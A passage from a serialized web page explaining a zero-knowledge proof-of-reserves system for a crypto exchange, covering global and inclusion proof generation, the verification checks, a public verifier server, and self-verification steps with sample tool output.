"props":97273,"children":97275},{"className":97274,"ariaHidden":273},[272],[97276,97382],{"type":22,"tag":264,"props":97277,"children":97279},{"className":97278},[278],[97280,97284,97289,97294,97299,97304,97309,97314,97319,97324,97329,97334,97339,97344,97349,97354,97359,97364,97369,97373,97378],{"type":22,"tag":264,"props":97281,"children":97283},{"className":97282,"style":94312},[283],[],{"type":22,"tag":264,"props":97285,"children":97287},{"className":97286},[289,2178],[97288],{"type":27,"value":69},{"type":22,"tag":264,"props":97290,"children":97292},{"className":97291},[289,2178],[97293],{"type":27,"value":94361},{"type":22,"tag":264,"props":97295,"children":97297},{"className":97296},[289,2178],[97298],{"type":27,"value":23033},{"type":22,"tag":264,"props":97300,"children":97302},{"className":97301,"style":94370},[289],[97303],{"type":27,"value":4385},{"type":22,"tag":264,"props":97305,"children":97307},{"className":97306},[289,2178],[97308],{"type":27,"value":23},{"type":22,"tag":264,"props":97310,"children":97312},{"className":97311,"style":94370},[289,2178],[97313],{"type":27,"value":95188},{"type":22,"tag":264,"props":97315,"children":97317},{"className":97316},[289,2178],[97318],{"type":27,"value":5050},{"type":22,"tag":264,"props":97320,"children":97322},{"className":97321},[289,2178],[97323],{"type":27,"value":94397},{"type":22,"tag":264,"props":97325,"children":97327},{"className":97326},[294],[97328],{"type":27,"value":5045},{"type":22,"tag":264,"props":97330,"children":97332},{"className":97331},[289,2178],[97333],{"type":27,"value":69},{"type":22,"tag":264,"props":97335,"children":97337},{"className":97336},[289,2178],[97338],{"type":27,"value":94361},{"type":22,"tag":264,"props":97340,"children":97342},{"className":97341},[289,2178],[97343],{"type":27,"value":23033},{"type":22,"tag":264,"props":97345,"children":97347},{"className":97346,"style":94370},[289],[97348],{"type":27,"value":4385},{"type":22,"tag":264,"props":97350,"children":97352},{"className":97351},[289,2178],[97353],{"type":27,"value":57724},{"type":22,"tag":264,"props":97355,"children":97357},{"className":97356},[289,2178],[97358],{"type":27,"value":94628},{"type":22,"tag":264,"props":97360,"children":97362},{"className":97361},[289,2178],[97363],{"type":27,"value":52454},{"type":22,"tag":264,"props":97365,"children":97367},{"className":97366},[415],[97368],{"type":27,"value":16710},{"type":22,"tag":264,"props":97370,"children":97372},{"className":97371,"style":421},[420],[],{"type":22,"tag":264,"props":97374,"children":97376},{"className":97375},[426],[97377],{"type":27,"value":9870},{"type":22,"tag":264,"props":97379,"children":97381},{"className":97380,"style":421},[420],[],{"type":22,"tag":264,"props":97383,"children":97385},{"className":97384},[278],[97386,97390,97395,97400,97405,97410,97415,97472,97477,97482,97487,97492,97497,97502,97507,97512,97517,97522,97527,97532,97537,97542,97547,97552,97557,97562,97567,97572,97577,97582,97587,97592,97597,97602,97607,97612,97617],{"type":22,"tag":264,"props":97387,"children":97389},{"className":97388,"style":94312},[283],[],{"type":22,"tag":264,"props":97391,"children":97393},{"className":97392},[289,2178],[97394],{"type":27,"value":11950},{"type":22,"tag":264,"props":97396,"children":97398},{"className":97397},[289,2178],[97399],{"type":27,"value":94628},{"type":22,"tag":264,"props":97401,"children":97403},{"className":97402},[289,2178],[97404],{"type":27,"value":2181},{"type":22,"tag":264,"props":97406,"children":97408},{"className":97407},[289,2178],[97409],{"type":27,"value":23},{"type":22,"tag":264,"props":97411,"children":97413},{"className":97412},[289,2178],[97414],{"type":27,"value":96714},{"type":22,"tag":264,"props":97416,"children":97418},{"className":97417},[289],[97419,97424],{"type":22,"tag":264,"props":97420,"children":97422},{"className":97421,"style":96722},[289,2178],[97423],{"type":27,"value":34401},{"type":22,"tag":264,"props":97425,"children":97427},{"className":97426},[2147],[97428],{"type":22,"tag":264,"props":97429,"children":97431},{"className":97430},[305,306],[97432,97461],{"type":22,"tag":264,"props":97433,"children":97435},{"className":97434},[311],[97436,97456],{"type":22,"tag":264,"props":97437,"children":97439},{"className":97438,"style":94898},[316],[97440],{"type":22,"tag":264,"props":97441,"children":97442},{"style":96743},[97443,97447],{"type":22,"tag":264,"props":97444,"children":97446},{"className":97445,"style":2169},[326],[],{"type":22,"tag":264,"props":97448,"children":97450},{"className":97449},[332,333,334,335],[97451],{"type":22,"tag":264,"props":97452,"children":97454},{"className":97453},[289,2178,335],[97455],{"type":27,"value":5050},{"type":22,"tag":264,"props":97457,"children":97459},{"className":97458},[396],[97460],{"type":27,"value":399},{"type":22,"tag":264,"props":97462,"children":97464},{"className":97463},[311],[97465],{"type":22,"tag":264,"props":97466,"children":97468},{"className":97467,"style":2721},[316],[97469],{"type":22,"tag":264,"props":97470,"children":97471},{},[],{"type":22,"tag":264,"props":97473,"children":97475},{"className":97474},[289],[97476],{"type":27,"value":210},{"type":22,"tag":264,"props":97478,"children":97480},{"className":97479},[289,2178],[97481],{"type":27,"value":23},{"type":22,"tag":264,"props":97483,"children":97485},{"className":97484},[289,2178],[97486],{"type":27,"value":94628},{"type":22,"tag":264,"props":97488,"children":97490},{"className":97489},[289,2178],[97491],{"type":27,"value":2181},{"type":22,"tag":264,"props":97493,"children":97495},{"className":97494,"style":94382},[289,2178],[97496],{"type":27,"value":94385},{"type":22,"tag":264,"props":97498,"children":97500},{"className":97499},[289,2178],[97501],{"type":27,"value":5050},{"type":22,"tag":264,"props":97503,"children":97505},{"className":97504},[289,2178],[97506],{"type":27,"value":4449},{"type":22,"tag":264,"props":97508,"children":97510},{"className":97509,"style":94370},[289],[97511],{"type":27,"value":4385},{"type":22,"tag":264,"props":97513,"children":97515},{"className":97514},[289,2178],[97516],{"type":27,"value":96819},{"type":22,"tag":264,"props":97518,"children":97520},{"className":97519},[289,2178],[97521],{"type":27,"value":23},{"type":22,"tag":264,"props":97523,"children":97525},{"className":97524},[289,2178],[97526],{"type":27,"value":94628},{"type":22,"tag":264,"props":97528,"children":97530},{"className":97529},[289,2178],[97531],{"type":27,"value":23033},{"type":22,"tag":264,"props":97533,"children":97535},{"className":97534},[289],[97536],{"type":27,"value":210},{"type":22,"tag":264,"props":97538,"children":97540},{"className":97539},[289,2178],[97541],{"type":27,"value":69},{"type":22,"tag":264,"props":97543,"children":97545},{"className":97544},[289,2178],[97546],{"type":27,"value":94361},{"type":22,"tag":264,"props":97548,"children":97550},{"className":97549},[289,2178],[97551],{"type":27,"value":23033},{"type":22,"tag":264,"props":97553,"children":97555},{"className":97554,"style":94370},[289],[97556],{"type":27,"value":4385},{"type":22,"tag":264,"props":97558,"children":97560},{"className":97559},[289,2178],[97561],{"type":27,"value":23},{"type":22,"tag":264,"props":97563,"children":97565},{"className":97564,"style":94370},[289,2178],[97566],{"type":27,"value":95188},{"type":22,"tag":264,"props":97568,"children":97570},{"className":97569},[289,2178],[97571],{"type":27,"value":5050},{"type":22,"tag":264,"props":97573,"children":97575},{"className":97574},[289,2178],[97576],{"type":27,"value":95199},{"type":22,"tag":264,"props":97578,"children":97580},{"className":97579},[294],[97581],{"type":27,"value":5045},{"type":22,"tag":264,"props":97583,"children":97585},{"className":97584},[289,2178],[97586],{"type":27,"value":69},{"type":22,"tag":264,"props":97588,"children":97590},{"className":97589},[289,2178],[97591],{"type":27,"value":94361},{"type":22,"tag":264,"props":97593,"children":97595},{"className":97594},[289,2178],[97596],{"type":27,"value":23033},{"type":22,"tag":264,"props":97598,"children":97600},{"className":97599,"style":94370},[289],[97601],{"type":27,"value":4385},{"type":22,"tag":264,"props":97603,"children":97605},{"className":97604},[289,2178],[97606],{"type":27,"value":57724},{"type":22,"tag":264,"props":97608,"children":97610},{"className":97609},[289,2178],[97611],{"type":27,"value":94628},{"type":22,"tag":264,"props":97613,"children":97615},{"className":97614},[289,2178],[97616],{"type":27,"value":52454},{"type":22,"tag":264,"props":97618,"children":97620},{"className":97619},[415],[97621],{"type":27,"value":16710},{"type":27,"value":7750},{"type":22,"tag":242,"props":97624,"children":97625},{},[97626],{"type":27,"value":97627},"(verifies if all asset prices are the same)",{"type":22,"tag":1871,"props":97629,"children":97630},{},[97631,98010,98011],{"type":22,"tag":257,"props":97632,"children":97634},{"className":97633},[260,261],[97635],{"type":22,"tag":264,"props":97636,"children":97638},{"className":97637},[267],[97639],{"type":22,"tag":264,"props":97640,"children":97642},{"className":97641,"ariaHidden":273},[272],[97643,97724],{"type":22,"tag":264,"props":97644,"children":97646},{"className":97645},[278],[97647,97651,97656,97661,97666,97671,97676,97681,97686,97691,97696,97701,97706,97711,97715,97720],{"type":22,"tag":264,"props":97648,"children":97650},{"className":97649,"style":95781},[283],[],{"type":22,"tag":264,"props":97652,"children":97654},{"className":97653},[289,2178],[97655],{"type":27,"value":52454},{"type":22,"tag":264,"props":97657,"children":97659},{"className":97658,"style":94370},[289,2178],[97660],{"type":27,"value":95793},{"type":22,"tag":264,"props":97662,"children":97664},{"className":97663,"style":95797},[289,2178],[97665],{"type":27,"value":90009},{"type":22,"tag":264,"props":97667,"children":97669},{"className":97668,"style":94382},[289,2178],[97670],{"type":27,"value":94385},{"type":22,"tag":264,"props":97672,"children":97674},{"className":97673},[289,2178],[97675],{"type":27,"value":52775},{"type":22,"tag":264,"props":97677,"children":97679},{"className":97678,"style":94370},[289],[97680],{"type":27,"value":4385},{"type":22,"tag":264,"props":97682,"children":97684},{"className":97683},[289,2178],[97685],{"type":27,"value":23033},{"type":22,"tag":264,"props":97687,"children":97689},{"className":97688},[289,2178],[97690],{"type":27,"value":95825},{"type":22,"tag":264,"props":97692,"children":97694},{"className":97693,"style":94370},[289],[97695],{"type":27,"value":4385},{"type":22,"tag":264,"props":97697,"children":97699},{"className":97698},[289,2178],[97700],{"type":27,"value":95836},{"type":22,"tag":264,"props":97702,"children":97704},{"className":97703},[289,2178],[97705],{"type":27,"value":11950},{"type":22,"tag":264,"props":97707,"children":97709},{"className":97708},[289,2178],[97710],{"type":27,"value":85670},{"type":22,"tag":264,"props":97712,"children":97714},{"className":97713,"style":421},[420],[],{"type":22,"tag":264,"props":97716,"children":97718},{"className":97717},[426],[97719],{"type":27,"value":9870},{"type":22,"tag":264,"props":97721,"children":97723},{"className":97722,"style":421},[420],[],{"type":22,"tag":264,"props":97725,"children":97727},{"className":97726},[278],[97728,97732,97737,97742,97747,97752,97757,97762,97767,97772,97777,97834,97839,97843,97848,97853,97910,97915,97919,97924,97929,97933,97938,97943,98005],{"type":22,"tag":264,"props":97729,"children":97731},{"className":97730,"style":5409},[283],[],{"type":22,"tag":264,"props":97733,"children":97735},{"className":97734,"style":22894},[289,2178],[97736],{"type":27,"value":22897},{"type":22,"tag":264,"props":97738,"children":97740},{"className":97739},[289,2178],[97741],{"type":27,"value":94324},{"type":22,"tag":264,"props":97743,"children":97745},{"className":97744},[289,2178],[97746],{"type":27,"value":5050},{"type":22,"tag":264,"props":97748,"children":97750},{"className":97749},[289,2178],[97751],{"type":27,"value":71888},{"type":22,"tag":264,"props":97753,"children":97755},{"className":97754},[289,2178],[97756],{"type":27,"value":94340},{"type":22,"tag":264,"props":97758,"children":97760},{"className":97759},[289,2178],[97761],{"type":27,"value":57724},{"type":22,"tag":264,"props":97763,"children":97765},{"className":97764},[294],[97766],{"type":27,"value":2660},{"type":22,"tag":264,"props":97768,"children":97770},{"className":97769},[289,2178],[97771],{"type":27,"value":95836},{"type":22,"tag":264,"props":97773,"children":97775},{"className":97774},[289,2178],[97776],{"type":27,"value":11950},{"type":22,"tag":264,"props":97778,"children":97780},{"className":97779},[289],[97781,97786],{"type":22,"tag":264,"props":97782,"children":97784},{"className":97783},[289,2178],[97785],{"type":27,"value":85670},{"type":22,"tag":264,"props":97787,"children":97789},{"className":97788},[2147],[97790],{"type":22,"tag":264,"props":97791,"children":97793},{"className":97792},[305,306],[97794,97823],{"type":22,"tag":264,"props":97795,"children":97797},{"className":97796},[311],[97798,97818],{"type":22,"tag":264,"props":97799,"children":97801},{"className":97800,"style":94422},[316],[97802],{"type":22,"tag":264,"props":97803,"children":97804},{"style":94426},[97805,97809],{"type":22,"tag":264,"props":97806,"children":97808},{"className":97807,"style":2169},[326],[],{"type":22,"tag":264,"props":97810,"children":97812},{"className":97811},[332,333,334,335],[97813],{"type":22,"tag":264,"props":97814,"children":97816},{"className":97815},[289,335],[97817],{"type":27,"value":5334},{"type":22,"tag":264,"props":97819,"children":97821},{"className":97820},[396],[97822],{"type":27,"value":399},{"type":22,"tag":264,"props":97824,"children":97826},{"className":97825},[311],[97827],{"type":22,"tag":264,"props":97828,"children":97830},{"className":97829,"style":2721},[316],[97831],{"type":22,"tag":264,"props":97832,"children":97833},{},[],{"type":22,"tag":264,"props":97835,"children":97837},{"className":97836},[5420],[97838],{"type":27,"value":5423},{"type":22,"tag":264,"props":97840,"children":97842},{"className":97841,"style":5427},[420],[],{"type":22,"tag":264,"props":97844,"children":97846},{"className":97845},[289,2178],[97847],{"type":27,"value":95836},{"type":22,"tag":264,"props":97849,"children":97851},{"className":97850},[289,2178],[97852],{"type":27,"value":11950},{"type":22,"tag":264,"props":97854,"children":97856},{"className":97855},[289],[97857,97862],{"type":22,"tag":264,"props":97858,"children":97860},{"className":97859},[289,2178],[97861],{"type":27,"value":85670},{"type":22,"tag":264,"props":97863,"children":97865},{"className":97864},[2147],[97866],{"type":22,"tag":264,"props":97867,"children":97869},{"className":97868},[305,306],[97870,97899],{"type":22,"tag":264,"props":97871,"children":97873},{"className":97872},[311],[97874,97894],{"type":22,"tag":264,"props":97875,"children":97877},{"className":97876,"style":94422},[316],[97878],{"type":22,"tag":264,"props":97879,"children":97880},{"style":94426},[97881,97885],{"type":22,"tag":264,"props":97882,"children":97884},{"className":97883,"style":2169},[326],[],{"type":22,"tag":264,"props":97886,"children":97888},{"className":97887},[332,333,334,335],[97889],{"type":22,"tag":264,"props":97890,"children":97892},{"className":97891},[289,335],[97893],{"type":27,"value":602},{"type":22,"tag":264,"props":97895,"children":97897},{"className":97896},[396],[97898],{"type":27,"value":399},{"type":22,"tag":264,"props":97900,"children":97902},{"className":97901},[311],[97903],{"type":22,"tag":264,"props":97904,"children":97906},{"className":97905,"style":2721},[316],[97907],{"type":22,"tag":264,"props":97908,"children":97909},{},[],{"type":22,"tag":264,"props":97911,"children":97913},{"className":97912},[5420],[97914],{"type":27,"value":5423},{"type":22,"tag":264,"props":97916,"children":97918},{"className":97917,"style":5427},[420],[],{"type":22,"tag":264,"props":97920,"children":97922},{"className":97921},[289],[97923],{"type":27,"value":10889},{"type":22,"tag":264,"props":97925,"children":97927},{"className":97926},[5420],[97928],{"type":27,"value":5423},{"type":22,"tag":264,"props":97930,"children":97932},{"className":97931,"style":5427},[420],[],{"type":22,"tag":264,"props":97934,"children":97936},{"className":97935},[289,2178],[97937],{"type":27,"value":95836},{"type":22,"tag":264,"props":97939,"children":97941},{"className":97940},[289,2178],[97942],{"type":27,"value":11950},{"type":22,"tag":264,"props":97944,"children":97946},{"className":97945},[289],[97947,97952],{"type":22,"tag":264,"props":97948,"children":97950},{"className":97949},[289,2178],[97951],{"type":27,"value":85670},{"type":22,"tag":264,"props":97953,"children":97955},{"className":97954},[2147],[97956],{"type":22,"tag":264,"props":97957,"children":97959},{"className":97958},[305,306],[97960,97994],{"type":22,"tag":264,"props":97961,"children":97963},{"className":97962},[311],[97964,97989],{"type":22,"tag":264,"props":97965,"children":97967},{"className":97966,"style":94422},[316],[97968],{"type":22,"tag":264,"props":97969,"children":97970},{"style":94426},[97971,97975],{"type":22,"tag":264,"props":97972,"children":97974},{"className":97973,"style":2169},[326],[],{"type":22,"tag":264,"props":97976,"children":97978},{"className":97977},[332,333,334,335],[97979],{"type":22,"tag":264,"props":97980,"children":97982},{"className":97981},[289,335],[97983],{"type":22,"tag":264,"props":97984,"children":97986},{"className":97985},[289,335],[97987],{"type":27,"value":97988},"31",{"type":22,"tag":264,"props":97990,"children":97992},{"className":97991},[396],[97993],{"type":27,"value":399},{"type":22,"tag":264,"props":97995,"children":97997},{"className":97996},[311],[97998],{"type":22,"tag":264,"props":97999,"children":98001},{"className":98000,"style":2721},[316],[98002],{"type":22,"tag":264,"props":98003,"children":98004},{},[],{"type":22,"tag":264,"props":98006,"children":98008},{"className":98007},[415],[98009],{"type":27,"value":2806},{"type":27,"value":7750},{"type":22,"tag":242,"props":98012,"children":98013},{},[98014],{"type":27,"value":96156},{"type":22,"tag":1871,"props":98016,"children":98017},{},[98018,98023,98024],{"type":22,"tag":1699,"props":98019,"children":98020},{},[98021],{"type":27,"value":98022},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":27,"value":7750},{"type":22,"tag":242,"props":98025,"children":98026},{},[98027],{"type":27,"value":96440},{"type":22,"tag":23,"props":98029,"children":98030},{},[98031],{"type":27,"value":98032},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":22,"tag":23,"props":98034,"children":98035},{},[98036],{"type":22,"tag":215,"props":98037,"children":98039},{"alt":51899,"src":98038},"/posts/por/recursive-circuit.png",[],{"type":22,"tag":169,"props":98041,"children":98043},{"id":98042},"global-proof-and-inclusion-proofs",[98044],{"type":27,"value":98045},"Global Proof and Inclusion Proofs",{"type":22,"tag":181,"props":98047,"children":98048},{"id":10579},[98049],{"type":27,"value":98050},"Proving",{"type":22,"tag":23,"props":98052,"children":98053},{},[98054,98056,98062,98063,98069,98070,98076],{"type":27,"value":98055},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":22,"tag":257,"props":98057,"children":98059},{"className":98058},[],[98060],{"type":27,"value":98061},"merkle_tree.json",{"type":27,"value":4380},{"type":22,"tag":257,"props":98064,"children":98066},{"className":98065},[],[98067],{"type":27,"value":98068},"final_proof.json",{"type":27,"value":7780},{"type":22,"tag":257,"props":98071,"children":98073},{"className":98072},[],[98074],{"type":27,"value":98075},"private_nonces.json",{"type":27,"value":98077}," files.",{"type":22,"tag":23,"props":98079,"children":98080},{},[98081],{"type":27,"value":98082},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":22,"tag":23,"props":98084,"children":98085},{},[98086,98088,98094,98096,98101],{"type":27,"value":98087},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":22,"tag":257,"props":98089,"children":98091},{"className":98090},[],[98092],{"type":27,"value":98093},"inclusion_proof_\u003Cid>.json",{"type":27,"value":98095},"). ",{"type":22,"tag":1699,"props":98097,"children":98098},{},[98099],{"type":27,"value":98100},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":27,"value":210},{"type":22,"tag":181,"props":98103,"children":98105},{"id":98104},"verifying",[98106],{"type":27,"value":98107},"Verifying",{"type":22,"tag":23,"props":98109,"children":98110},{},[98111],{"type":22,"tag":242,"props":98112,"children":98113},{},[98114],{"type":27,"value":98115},"Global Proof",{"type":22,"tag":23,"props":98117,"children":98118},{},[98119,98121,98126,98127,98132],{"type":27,"value":98120},"To verify the global proof, the code deserializes the ",{"type":22,"tag":257,"props":98122,"children":98124},{"className":98123},[],[98125],{"type":27,"value":98061},{"type":27,"value":38864},{"type":22,"tag":257,"props":98128,"children":98130},{"className":98129},[],[98131],{"type":27,"value":98068},{"type":27,"value":98133}," files and performs these checks:",{"type":22,"tag":1867,"props":98135,"children":98136},{},[98137,98142,98147,98152,98178],{"type":22,"tag":1871,"props":98138,"children":98139},{},[98140],{"type":27,"value":98141},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":22,"tag":1871,"props":98143,"children":98144},{},[98145],{"type":27,"value":98146},"Verify the ZK final proof.",{"type":22,"tag":1871,"props":98148,"children":98149},{},[98150],{"type":27,"value":98151},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":22,"tag":1871,"props":98153,"children":98154},{},[98155,98157,98163,98165,98170,98171,98176],{"type":27,"value":98156},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":22,"tag":257,"props":98158,"children":98160},{"className":98159},[],[98161],{"type":27,"value":98162},"merkle_tree_hash",{"type":27,"value":98164}," public input. This ensures that the ",{"type":22,"tag":257,"props":98166,"children":98168},{"className":98167},[],[98169],{"type":27,"value":98061},{"type":27,"value":12290},{"type":22,"tag":257,"props":98172,"children":98174},{"className":98173},[],[98175],{"type":27,"value":98068},{"type":27,"value":98177}," are linked (they belong to the same global proof).",{"type":22,"tag":1871,"props":98179,"children":98180},{},[98181],{"type":27,"value":98182},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":22,"tag":23,"props":98184,"children":98185},{},[98186],{"type":22,"tag":242,"props":98187,"children":98188},{},[98189],{"type":27,"value":98190},"Inclusion Proof",{"type":22,"tag":23,"props":98192,"children":98193},{},[98194,98196,98201,98203,98208],{"type":27,"value":98195},"To verify the inclusion proof, the code deserializes the ",{"type":22,"tag":257,"props":98197,"children":98199},{"className":98198},[],[98200],{"type":27,"value":98093},{"type":27,"value":98202}," file and also the ",{"type":22,"tag":257,"props":98204,"children":98206},{"className":98205},[],[98207],{"type":27,"value":98068},{"type":27,"value":98209},". After that, it performs these checks:",{"type":22,"tag":1867,"props":98211,"children":98212},{},[98213,98217,98222,98227],{"type":22,"tag":1871,"props":98214,"children":98215},{},[98216],{"type":27,"value":98146},{"type":22,"tag":1871,"props":98218,"children":98219},{},[98220],{"type":27,"value":98221},"Verify if the Merkle tree root is the same as in the final proof.",{"type":22,"tag":1871,"props":98223,"children":98224},{},[98225],{"type":27,"value":98226},"Recalculate the user-related node leaf hash.",{"type":22,"tag":1871,"props":98228,"children":98229},{},[98230],{"type":27,"value":98231},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":22,"tag":169,"props":98233,"children":98235},{"id":98234},"por-verifier-server",[98236],{"type":27,"value":98237},"PoR Verifier Server",{"type":22,"tag":23,"props":98239,"children":98240},{},[98241,98243,98249],{"type":27,"value":98242},"To automate the verification process, we created a ",{"type":22,"tag":69,"props":98244,"children":98246},{"href":93881,"rel":98245},[73],[98247],{"type":27,"value":98248},"verifier server",{"type":27,"value":98250}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":22,"tag":23,"props":98252,"children":98253},{},[98254],{"type":27,"value":98255},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":22,"tag":23,"props":98257,"children":98258},{},[98259],{"type":22,"tag":215,"props":98260,"children":98262},{"alt":51899,"src":98261},"/posts/por/backpack-por.png",[],{"type":22,"tag":23,"props":98264,"children":98265},{},[98266],{"type":27,"value":98267},"Here is a breakdown of what fields represent and why they are required:",{"type":22,"tag":17988,"props":98269,"children":98270},{},[98271,98281,98291,98301,98311,98321],{"type":22,"tag":1871,"props":98272,"children":98273},{},[98274,98279],{"type":22,"tag":242,"props":98275,"children":98276},{},[98277],{"type":27,"value":98278},"Status",{"type":27,"value":98280}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":22,"tag":1871,"props":98282,"children":98283},{},[98284,98289],{"type":22,"tag":242,"props":98285,"children":98286},{},[98287],{"type":27,"value":98288},"Proof Timestamp",{"type":27,"value":98290}," --> when the proof was generated by the exchange.",{"type":22,"tag":1871,"props":98292,"children":98293},{},[98294,98299],{"type":22,"tag":242,"props":98295,"children":98296},{},[98297],{"type":27,"value":98298},"Verify Timestamp",{"type":27,"value":98300}," --> when the proof was verified by the PoR server.",{"type":22,"tag":1871,"props":98302,"children":98303},{},[98304,98309],{"type":22,"tag":242,"props":98305,"children":98306},{},[98307],{"type":27,"value":98308},"Proof File URL",{"type":27,"value":98310}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":22,"tag":1871,"props":98312,"children":98313},{},[98314,98319],{"type":22,"tag":242,"props":98315,"children":98316},{},[98317],{"type":27,"value":98318},"Prover Version",{"type":27,"value":98320}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":22,"tag":1871,"props":98322,"children":98323},{},[98324,98329],{"type":22,"tag":242,"props":98325,"children":98326},{},[98327],{"type":27,"value":98328},"File Hash (SHA256)",{"type":27,"value":98330}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":22,"tag":23,"props":98332,"children":98333},{},[98334],{"type":27,"value":98335},"Also, you can check the exchange's liabilities on the website:",{"type":22,"tag":23,"props":98337,"children":98338},{},[98339],{"type":22,"tag":215,"props":98340,"children":98342},{"alt":51899,"src":98341},"/posts/por/backpack-por-liabilities.png",[],{"type":22,"tag":23,"props":98344,"children":98345},{},[98346,98348,98354,98356,98362],{"type":27,"value":98347},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":22,"tag":69,"props":98349,"children":98352},{"href":98350,"rel":98351},"https://backpack.exchange/reserves",[73],[98353],{"type":27,"value":98350},{"type":27,"value":98355}," and our verifier server for backpack at ",{"type":22,"tag":69,"props":98357,"children":98360},{"href":98358,"rel":98359},"https://backpack-por.osec.io/",[73],[98361],{"type":27,"value":98358},{"type":27,"value":210},{"type":22,"tag":169,"props":98364,"children":98366},{"id":98365},"self-verification",[98367],{"type":27,"value":98368},"Self-verification",{"type":22,"tag":23,"props":98370,"children":98371},{},[98372],{"type":27,"value":98373},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":22,"tag":181,"props":98375,"children":98377},{"id":98376},"how-to-verify-if-i-was-included",[98378],{"type":27,"value":98379},"How to verify if I was included?",{"type":22,"tag":23,"props":98381,"children":98382},{},[98383],{"type":27,"value":98384},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":22,"tag":1867,"props":98386,"children":98387},{},[98388,98399,98417],{"type":22,"tag":1871,"props":98389,"children":98390},{},[98391,98398],{"type":22,"tag":69,"props":98392,"children":98395},{"href":98393,"rel":98394},"https://github.com/otter-sec/por_v2/releases",[73],[98396],{"type":27,"value":98397},"Download the PoRv2 executable from our github",{"type":27,"value":210},{"type":22,"tag":1871,"props":98400,"children":98401},{},[98402,98404,98409,98410,98415],{"type":27,"value":98403},"Download the inclusion and the final proof files from the exchange (",{"type":22,"tag":257,"props":98405,"children":98407},{"className":98406},[],[98408],{"type":27,"value":98093},{"type":27,"value":12290},{"type":22,"tag":257,"props":98411,"children":98413},{"className":98412},[],[98414],{"type":27,"value":98068},{"type":27,"value":98416},") and put the files in the same directory as the PoRv2 app.",{"type":22,"tag":1871,"props":98418,"children":98419},{},[98420,98422,98428],{"type":27,"value":98421},"Open the terminal and execute this: ",{"type":22,"tag":257,"props":98423,"children":98425},{"className":98424},[],[98426],{"type":27,"value":98427},"./plonky2_por verify-inclusion",{"type":27,"value":210},{"type":22,"tag":23,"props":98430,"children":98431},{},[98432],{"type":27,"value":98433},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":22,"tag":618,"props":98435,"children":98437},{"code":98436},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[98438],{"type":22,"tag":257,"props":98439,"children":98440},{"__ignoreMap":7},[98441],{"type":27,"value":98436},{"type":22,"tag":181,"props":98443,"children":98445},{"id":98444},"how-can-i-verify-the-global-proof",[98446],{"type":27,"value":98447},"How can I verify the global proof?",{"type":22,"tag":23,"props":98449,"children":98450},{},[98451],{"type":27,"value":98452},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":22,"tag":1867,"props":98454,"children":98455},{},[98456,98465,98483],{"type":22,"tag":1871,"props":98457,"children":98458},{},[98459,98464],{"type":22,"tag":69,"props":98460,"children":98462},{"href":98393,"rel":98461},[73],[98463],{"type":27,"value":98397},{"type":27,"value":210},{"type":22,"tag":1871,"props":98466,"children":98467},{},[98468,98470,98475,98476,98481],{"type":27,"value":98469},"Download the ",{"type":22,"tag":257,"props":98471,"children":98473},{"className":98472},[],[98474],{"type":27,"value":98061},{"type":27,"value":38864},{"type":22,"tag":257,"props":98477,"children":98479},{"className":98478},[],[98480],{"type":27,"value":98068},{"type":27,"value":98482}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":22,"tag":1871,"props":98484,"children":98485},{},[98486,98488,98493],{"type":27,"value":98487},"Open the terminal and execute ",{"type":22,"tag":257,"props":98489,"children":98491},{"className":98490},[],[98492],{"type":27,"value":98427},{"type":27,"value":98494},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":22,"tag":23,"props":98496,"children":98497},{},[98498],{"type":27,"value":98499},"This will verify the global proof and print the asset prices to be manually verified. Note 